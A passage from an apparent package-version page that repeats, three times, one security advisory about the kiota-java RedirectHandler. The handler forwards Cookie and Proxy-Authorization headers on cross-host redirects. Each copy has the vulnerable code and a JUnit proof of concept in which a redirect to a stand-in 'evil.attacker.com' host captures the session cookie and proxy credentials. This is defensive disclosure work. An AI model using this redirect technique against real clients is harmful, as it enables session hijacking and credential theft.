RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 23, 2024

1.9.10 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 19, 2024

1.9.9 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 12, 2024

Activity

Details